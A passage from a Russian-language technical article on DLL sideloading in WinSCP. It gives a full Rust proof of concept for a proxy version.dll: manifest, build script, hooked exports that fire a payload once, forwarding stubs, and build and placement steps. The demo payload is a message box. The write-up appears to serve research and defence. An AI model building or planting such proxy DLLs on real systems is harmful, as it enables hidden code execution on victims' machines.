GetFileVersionInfoExW=C:\\Windows\\SysWOW64\\version.GetFileVersionInfoExW @4    GetFileVersionInfoSizeA=C:\\Windows\\SysWOW64\\version.GetFileVersionInfoSizeA @5    GetFileVersionInfoSizeExA=C:\\Windows\\SysWOW64\\version.GetFileVersionInfoSizeExA @6    GetFileVersionInfoSizeExW=C:\\Windows\\SysWOW64\\version.GetFileVersionInfoSizeExW @7    GetFileVersionInfoSizeW @8    GetFileVersionInfoW @9    VerFindFileA=C:\\Windows\\SysWOW64\\version.VerFindFileA @10    VerFindFileW=C:\\Windows\\SysWOW64\\version.VerFindFileW @11    VerInstallFileA=C:\\Windows\\SysWOW64\\version.VerInstallFileA @12    VerInstallFileW=C:\\Windows\\SysWOW64\\version.VerInstallFileW @13    VerLanguageNameA=C:\\Windows\\SysWOW64\\version.VerLanguageNameA @14    VerLanguageNameW=C:\\Windows\\SysWOW64\\version.VerLanguageNameW @15    VerQueryValueA=C:\\Windows\\SysWOW64\\version.VerQueryValueA @16    VerQueryValueW @17<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p><code>.def<\/code>-\u0444\u0430\u0439\u043b \u0432 \u043f\u0440\u043e\u0435\u043a\u0442\u0435 \u043d\u0435 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u043a\u0430\u043a \u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0444\u0430\u0439\u043b. \u0415\u0433\u043e \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0441\u0431\u043e\u0440\u043a\u0438 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 <code>build.rs<\/code>, \u043f\u0440\u0438\u0447\u0451\u043c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0434 \u043d\u0443\u0436\u043d\u0443\u044e \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0443. \u041f\u0443\u0442\u044c \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0435 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0438\u0437 <code>CARGO_CFG_TARGET_ARCH<\/code>: \u0434\u043b\u044f x86-\u0441\u0431\u043e\u0440\u043a\u0438 \u044d\u0442\u043e <code>SysWOW64<\/code> &#8212; \u0442\u043e \u0435\u0441\u0442\u044c 32-\u0431\u0438\u0442\u043d\u044b\u0439 WinSCP, \u0430 \u0434\u043b\u044f x64 &#8212; <code>System32<\/code>. \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0444\u0430\u0439\u043b \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442\u0441\u044f \u043b\u0438\u043d\u043a\u0435\u0440\u0443 \u0447\u0435\u0440\u0435\u0437 <code>cargo:rustc-link-arg=\/DEF:...<\/code>.<\/p>\n<h3>4.3. \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u043f\u0440\u043e\u043a\u0441\u0438-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438<\/h3>\n<p>\u041f\u0440\u043e\u043a\u0441\u0438 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a Rust-\u043a\u0440\u0435\u0439\u0442 \u0441 \u0442\u0438\u043f\u043e\u043c <code>cdylib<\/code>, \u0442\u0430\u043a \u0447\u0442\u043e \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u044b\u0447\u043d\u0430\u044f DLL. \u041f\u043e \u0444\u0430\u0439\u043b\u0430\u043c \u043f\u0440\u043e\u0435\u043a\u0442 \u0443\u0441\u0442\u0440\u043e\u0435\u043d \u0442\u0430\u043a:<\/p>\n<p><code>Cargo.toml<\/code> &#8212; \u0437\u0434\u0435\u0441\u044c \u0443\u043a\u0430\u0437\u0430\u043d\u044b \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 <code>winapi<\/code> \u0441 \u0444\u0438\u0447\u0430\u043c\u0438 <code>libloaderapi<\/code>, <code>winuser<\/code> \u0438 \u0434\u0440\u0443\u0433\u0438\u043c\u0438, \u0437\u0430\u0434\u0430\u043d \u0442\u0438\u043f <code>cdylib<\/code>, \u0430 \u0434\u043b\u044f release-\u0441\u0431\u043e\u0440\u043a\u0438 \u0435\u0449\u0451 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b <code>strip<\/code> \u0438 <code>LTO<\/code>;<\/p>\n<p><code>build.rs<\/code> &#8212; \u0441\u043e\u0437\u0434\u0430\u0451\u0442 <code>proxy.def<\/code> \u043f\u043e\u0434 \u0446\u0435\u043b\u0435\u0432\u0443\u044e \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0443 \u0438 \u043e\u0442\u0434\u0430\u0451\u0442 \u0435\u0433\u043e \u043b\u0438\u043d\u043a\u0435\u0440\u0443;<\/p>\n<p><strong>\u041b\u0438\u0441\u0442\u0438\u043d\u0433 3.<\/strong> Cargo.toml: \u043f\u043e\u043b\u043d\u044b\u0439 \u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442 PoC<\/p>\n<pre><code>[package]name = \"version-dll-poc\"version = \"0.1.0\"edition = \"2021\"[lib]crate-type = [\"cdylib\"][dependencies]winapi = { version = \"0.3\", features = [    \"processthreadsapi\",    \"winbase\",    \"memoryapi\",    \"winnt\",    \"handleapi\",    \"errhandlingapi\",    \"ntdef\",    \"libloaderapi\",    \"synchapi\",    \"wincon\",    \"tlhelp32\",    \"debugapi\",    \"winuser\",    \"fileapi\",    \"heapapi\",    \"consoleapi\",    \"ktmw32\",    \"minwinbase\",    \"guiddef\",] }ntapi = \"0.4\"[profile.release]opt-level = \"s\"debug = falsestrip = \"symbols\"lto = truepanic = \"abort\"[build-dependencies]<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p><strong>\u041b\u0438\u0441\u0442\u0438\u043d\u0433 4.<\/strong> build.rs: \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f proxy.def \u043f\u043e\u0434 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0443<\/p>\n<pre><code class=\"rust\">use std::{env, fs, path::Path};fn main() {    let out_dir = env::var(\"CARGO_MANIFEST_DIR\").unwrap();    let def_path = Path::new(&amp;out_dir).join(\"proxy.def\");    let target_arch = env::var(\"CARGO_CFG_TARGET_ARCH\").unwrap_or_default();    let system32 = if target_arch == \"x86\" {        \"C:\\\\Windows\\\\SysWOW64\"    } else {        \"C:\\\\Windows\\\\System32\"    };    let def_content = format!(        r#\"LIBRARY versionEXPORTS    GetFileVersionInfoA={s32}\\version.GetFileVersionInfoA @1    GetFileVersionInfoByHandle={s32}\\version.GetFileVersionInfoByHandle @2    GetFileVersionInfoExA={s32}\\version.GetFileVersionInfoExA @3    GetFileVersionInfoExW={s32}\\version.GetFileVersionInfoExW @4    GetFileVersionInfoSizeA={s32}\\version.GetFileVersionInfoSizeA @5    GetFileVersionInfoSizeExA={s32}\\version.GetFileVersionInfoSizeExA @6    GetFileVersionInfoSizeExW={s32}\\version.GetFileVersionInfoSizeExW @7    GetFileVersionInfoSizeW @8    GetFileVersionInfoW @9    VerFindFileA={s32}\\version.VerFindFileA @10    VerFindFileW={s32}\\version.VerFindFileW @11    VerInstallFileA={s32}\\version.VerInstallFileA @12    VerInstallFileW={s32}\\version.VerInstallFileW @13    VerLanguageNameA={s32}\\version.VerLanguageNameA @14    VerLanguageNameW={s32}\\version.VerLanguageNameW @15    VerQueryValueA={s32}\\version.VerQueryValueA @16    VerQueryValueW @17\"#,        s32 = system32    );    fs::write(&amp;def_path, def_content).expect(\"Failed to write proxy.def\");    println!(\"cargo:rustc-link-arg=\/DEF:{}\", def_path.display());    println!(\"cargo:rerun-if-changed=build.rs\");}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p><code>src\/lib.rs<\/code> &#8212; \u044d\u0442\u043e \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0432\u0445\u043e\u0434\u043d\u043e\u0439 \u0444\u0430\u0439\u043b. \u0412 \u043d\u0451\u043c \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f <code>DllMain<\/code>, \u043b\u0435\u043d\u0438\u0432\u043e\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0439 <code>version.dll<\/code> \u0438\u0437 <code>SysWOW64<\/code>, \u0437\u0430\u043f\u0443\u0441\u043a payload \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0442\u0440\u0451\u0445 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432.<\/p>\n<p><code>src\/forward.rs<\/code> &#8212; \u044d\u0442\u043e 14 \u0437\u0430\u0433\u043b\u0443\u0448\u0435\u043a \u0434\u043b\u044f \u0442\u0435\u0445 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u044e\u0442\u0441\u044f. \u041b\u0438\u043d\u043a\u0435\u0440 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0445 \u0432\u044b\u0437\u043e\u0432\u044b \u0447\u0435\u0440\u0435\u0437 forwarding, \u043d\u043e \u0441\u0430\u043c\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u044b \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043d\u0443\u0436\u043d\u043e \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 \u043a\u043e\u0434\u0435.<\/p>\n<p>\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 payload \u0434\u043b\u044f PoC \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u044b\u0437\u043e\u0432 <code>MessageBoxW<\/code> \u0438\u0437 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0442\u043e\u043a\u0430. \u0422\u0430\u043a \u0445\u043e\u0440\u043e\u0448\u043e \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u043a\u043e\u0434 \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442, \u0431\u0435\u0437 shellcode \u0438 \u0431\u0435\u0437 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439.<\/p>\n<h3>4.4. \u041a\u0430\u043a \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f payload<\/h3>\n<p>\u041f\u0440\u043e\u043a\u0441\u0438 \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 payload \u0432\u043d\u0443\u0442\u0440\u0438 <code>DllMain<\/code> &#8212; \u043e\u043d \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d \u043a \u0432\u044b\u0437\u043e\u0432\u0443 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439. \u041d\u043e WinSCP \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0449\u0430\u0442\u044c\u0441\u044f \u043a <code>version.dll<\/code> \u0443\u0436\u0435 \u043d\u0430 \u0441\u0442\u0430\u0434\u0438\u0438 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u043e\u043a\u043d\u043e <code>MessageBox<\/code> \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u0435\u0442 \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0441\u0442\u0430\u0440\u0442\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0435\u0449\u0451 \u0434\u043e \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0433\u043b\u0430\u0432\u043d\u043e\u0433\u043e \u043e\u043a\u043d\u0430.<\/p>\n<p>\u041d\u0430\u0441\u0442\u043e\u044f\u0449\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0430\u044f DLL \u043f\u043e\u0434\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e\u0433\u0434\u0430, \u043a\u043e\u0433\u0434\u0430 \u043a \u043d\u0435\u0439 \u043e\u0431\u0440\u0430\u0449\u0430\u044e\u0442\u0441\u044f \u0432\u043f\u0435\u0440\u0432\u044b\u0435. \u0418\u043d\u044b\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u043f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u0432\u044b\u0437\u043e\u0432\u0435 \u043b\u044e\u0431\u043e\u0439 \u0438\u0437 \u0442\u0440\u0451\u0445 hijack-\u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f <code>LoadLibraryExW<\/code> \u0434\u043b\u044f <code>C:\\Windows\\SysWOW64\\version.dll<\/code>, \u0430 \u0430\u0434\u0440\u0435\u0441\u0430 <code>GetFileVersionInfoSizeW<\/code>, <code>GetFileVersionInfoW<\/code> \u0438 <code>VerQueryValueW<\/code> \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0435 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435.<\/p>\n<p><strong>\u041b\u0438\u0441\u0442\u0438\u043d\u0433 5.<\/strong> src\/lib.rs (\u0447\u0430\u0441\u0442\u044c 1): \u0438\u043c\u043f\u043e\u0440\u0442\u044b, \u0430\u043b\u0438\u0430\u0441\u044b \u0442\u0438\u043f\u043e\u0432, \u0441\u0442\u0430\u0442\u0438\u043a\u0438, DllMain \u0438 \u043b\u0435\u043d\u0438\u0432\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430<\/p>\n<pre><code class=\"rust\">#![cfg_attr(not(debug_assertions), windows_subsystem = \"windows\")]#![allow(non_snake_case)]mod forward;use std::ptr;use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};use winapi::ctypes::{c_char, c_void};use winapi::shared::minwindef::{BOOL, DWORD, TRUE, FALSE};use winapi::um::libloaderapi::{GetProcAddress, LoadLibraryExW};use winapi::um::winnt::{DLL_PROCESS_ATTACH, DLL_PROCESS_DETACH};type GetFileVersionInfoSizeWFn = unsafe extern \"system\" fn(    lptstrFilename: *const u16,    lpdwHandle: *mut u32,) -&gt; u32;type GetFileVersionInfoWFn = unsafe extern \"system\" fn(    lptstrFilename: *const u16,    dwHandle: u32,    dwLen: u32,    lpData: *mut c_void,) -&gt; BOOL;type VerQueryValueWFn = unsafe extern \"system\" fn(    pBlock: *const c_void,    lpSubBlock: *const u16,    lplpBuffer: *mut *mut c_void,    puLen: *mut u32,) -&gt; BOOL;static ORIGINAL_DLL: AtomicUsize = AtomicUsize::new(0);static PAYLOAD_FIRED: AtomicBool = AtomicBool::new(false);static FN_GET_FILE_VER_INFO_SIZE_W: AtomicUsize = AtomicUsize::new(0);static FN_GET_FILE_VER_INFO_W: AtomicUsize = AtomicUsize::new(0);static FN_VER_QUERY_VALUE_W: AtomicUsize = AtomicUsize::new(0);#[no_mangle]pub unsafe extern \"system\" fn DllMain(    _hinst: *mut c_void,    reason: DWORD,    _reserved: *mut c_void,) -&gt; BOOL {    match reason {        DLL_PROCESS_ATTACH =&gt; TRUE,        DLL_PROCESS_DETACH =&gt; TRUE,        _ =&gt; TRUE,    }}fn ensure_original_loaded() {    if ORIGINAL_DLL.load(Ordering::SeqCst) != 0 {        return;    }    unsafe { lazy_load_original(); }}unsafe fn lazy_load_original() {    let dll_path = if cfg!(target_arch = \"x86\") {        \"C:\\\\Windows\\\\SysWOW64\\\\version.dll\"    } else {        \"C:\\\\Windows\\\\System32\\\\version.dll\"    };    let path_utf16: Vec&lt;u16&gt; = dll_path.encode_utf16().chain(std::iter::once(0)).collect();    let handle = LoadLibraryExW(        path_utf16.as_ptr(),        ptr::null_mut(),        0,    );    if handle.is_null() {        return;    }    ORIGINAL_DLL.store(handle as usize, Ordering::SeqCst);    let name_cstr: Vec&lt;u8&gt; = \"GetFileVersionInfoSizeW\".bytes().chain(std::iter::once(0)).collect();    let addr = GetProcAddress(handle, name_cstr.as_ptr() as *const c_char) as usize;    if addr != 0 { FN_GET_FILE_VER_INFO_SIZE_W.store(addr, Ordering::SeqCst); }    let name_cstr: Vec&lt;u8&gt; = \"GetFileVersionInfoW\".bytes().chain(std::iter::once(0)).collect();    let addr = GetProcAddress(handle, name_cstr.as_ptr() as *const c_char) as usize;    if addr != 0 { FN_GET_FILE_VER_INFO_W.store(addr, Ordering::SeqCst); }    let name_cstr: Vec&lt;u8&gt; = \"VerQueryValueW\".bytes().chain(std::iter::once(0)).collect();    let addr = GetProcAddress(handle, name_cstr.as_ptr() as *const c_char) as usize;    if addr != 0 { FN_VER_QUERY_VALUE_W.store(addr, Ordering::SeqCst); }}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0422\u0440\u0438\u0433\u0433\u0435\u0440 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0440\u0430\u0437. \u0417\u0430 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a payload \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0444\u043b\u0430\u0433 <code>PAYLOAD_FIRED<\/code> (<code>AtomicBool<\/code>). \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 WinSCP \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e, \u0430 payload \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u043f\u043e\u0442\u043e\u043a\u0435.<\/p>\n<p><strong>\u041b\u0438\u0441\u0442\u0438\u043d\u0433 6.<\/strong> src\/lib.rs (\u0447\u0430\u0441\u0442\u044c 2): \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u0438 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0447\u0435\u043d\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438<\/p>\n<pre><code class=\"rust\">fn trigger_payload() {    if PAYLOAD_FIRED.swap(true, Ordering::SeqCst) {        return;    }    std::thread::spawn(|| {        let _ = std::panic::catch_unwind(|| {            unsafe { show_message_box(); }        });    });}unsafe fn show_message_box() {    let text: Vec&lt;u16&gt; = \"PWNED by version.dll!\".encode_utf16()        .chain(std::iter::once(0)).collect();    let caption: Vec&lt;u16&gt; = \"DLL Sideloading PoC\".encode_utf16()        .chain(std::iter::once(0)).collect();    winapi::um::winuser::MessageBoxW(        ptr::null_mut(),        text.as_ptr(),        caption.as_ptr(),        winapi::um::winuser::MB_OK,    );}#[no_mangle]pub unsafe extern \"system\" fn GetFileVersionInfoSizeW(    lptstrFilename: *const u16,    lpdwHandle: *mut u32,) -&gt; u32 {    ensure_original_loaded();    trigger_payload();    let addr = FN_GET_FILE_VER_INFO_SIZE_W.load(Ordering::SeqCst);    if addr != 0 {        let func: GetFileVersionInfoSizeWFn = std::mem::transmute(addr);        func(lptstrFilename, lpdwHandle)    } else {        0    }}#[no_mangle]pub unsafe extern \"system\" fn GetFileVersionInfoW(    lptstrFilename: *const u16,    dwHandle: u32,    dwLen: u32,    lpData: *mut c_void,) -&gt; BOOL {    ensure_original_loaded();    trigger_payload();    let addr = FN_GET_FILE_VER_INFO_W.load(Ordering::SeqCst);    if addr != 0 {        let func: GetFileVersionInfoWFn = std::mem::transmute(addr);        func(lptstrFilename, dwHandle, dwLen, lpData)    } else {        FALSE    }}#[no_mangle]pub unsafe extern \"system\" fn VerQueryValueW(    pBlock: *const c_void,    lpSubBlock: *const u16,    lplpBuffer: *mut *mut c_void,    puLen: *mut u32,) -&gt; BOOL {    ensure_original_loaded();    trigger_payload();    let addr = FN_VER_QUERY_VALUE_W.load(Ordering::SeqCst);    if addr != 0 {        let func: VerQueryValueWFn = std::mem::transmute(addr);        func(pBlock, lpSubBlock, lplpBuffer, puLen)    } else {        FALSE    }}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0421\u0430\u043c payload \u0442\u043e\u0436\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0438 \u0437\u0430\u0432\u0435\u0440\u043d\u0443\u0442 \u0432 <code>catch_unwind<\/code>. \u042d\u0442\u043e \u043d\u0443\u0436\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u0430\u043d\u0438\u043a\u0430 \u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c \u043a\u043e\u0434\u0435 \u043d\u0435 \u043c\u043e\u0433\u043b\u0430 \u0443\u0440\u043e\u043d\u0438\u0442\u044c WinSCP \u0447\u0435\u0440\u0435\u0437 DllMain \u0438 \u043d\u0435 \u0442\u043e\u0440\u043c\u043e\u0437\u0438\u043b\u0430 \u0432\u044b\u0437\u043e\u0432 hijack-\u0444\u0443\u043d\u043a\u0446\u0438\u0438.<\/p>\n<p><strong>\u041b\u0438\u0441\u0442\u0438\u043d\u0433 7.<\/strong> src\/forward.rs: \u0437\u0430\u0433\u043b\u0443\u0448\u043a\u0438 \u043f\u0440\u043e\u0431\u0440\u0430\u0441\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432<\/p>\n<pre><code class=\"rust\">#![allow(non_snake_case)]#[no_mangle]pub unsafe extern \"system\" fn GetFileVersionInfoA() {}#[no_mangle]pub unsafe extern \"system\" fn GetFileVersionInfoByHandle() {}#[no_mangle]pub unsafe extern \"system\" fn GetFileVersionInfoExA() {}#[no_mangle]pub unsafe extern \"system\" fn GetFileVersionInfoExW() {}#[no_mangle]pub unsafe extern \"system\" fn GetFileVersionInfoSizeA() {}#[no_mangle]pub unsafe extern \"system\" fn GetFileVersionInfoSizeExA() {}#[no_mangle]pub unsafe extern \"system\" fn GetFileVersionInfoSizeExW() {}#[no_mangle]pub unsafe extern \"system\" fn VerFindFileA() {}#[no_mangle]pub unsafe extern \"system\" fn VerFindFileW() {}#[no_mangle]pub unsafe extern \"system\" fn VerInstallFileA() {}#[no_mangle]pub unsafe extern \"system\" fn VerInstallFileW() {}#[no_mangle]pub unsafe extern \"system\" fn VerLanguageNameA() {}#[no_mangle]pub unsafe extern \"system\" fn VerLanguageNameW() {}#[no_mangle]pub unsafe extern \"system\" fn VerQueryValueA() {}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<h3>4.5. \u0421\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u043e\u043a\u0441\u0438<\/h3>\n<p>\u0421\u0431\u043e\u0440\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0434 \u0446\u0435\u043b\u0435\u0432\u0443\u044e \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0443 (WinSCP.exe &#8212; x86):<\/p>\n<pre><code class=\"bash\">cargo build --release --target i686-pc-windows-msvc<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0444\u0430\u0439\u043b <code>target\\i686-pc-windows-msvc\\release\\version_dll_poc.dll<\/code>. \u041f\u043e\u0442\u043e\u043c \u0435\u0433\u043e \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u044b\u0432\u0430\u044e\u0442 \u0432 version.dll \u0438 \u043f\u043e\u043c\u0435\u0449\u0430\u044e\u0442 \u0432 \u043f\u0430\u043f\u043a\u0443, \u0433\u0434\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d WinSCP.<\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 PoC:<\/p>\n<ol>\n<li>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c WinSCP.exe;<\/p>\n<\/li>\n<li>\n<p>\u0423\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0432\u0435\u0434\u0451\u0442 \u0441\u0435\u0431\u044f \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e: \u043e\u043a\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u0444\u0430\u0439\u043b\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f;<\/p>\n<\/li>\n<li>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0447\u0442\u043e \u043e\u043a\u043d\u043e MessageBoxW \u00abPWNED by version.dll!\u00bb \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0441\u0442\u0430\u0440\u0442\u0430 WinSCP. \u042d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e payload \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u043b \u043f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u0432\u044b\u0437\u043e\u0432\u0435 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438;<\/p>\n<\/li>\n<\/ol>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/b8\/b4\/e5\/b8b4e56123923c87247500ea6a216c4b.png\" alt=\"MessageBoxW \u00abPWNED by version.dll!\u00bb\" sizes=\"(max-width: 780px) 100vw, 50vw\" 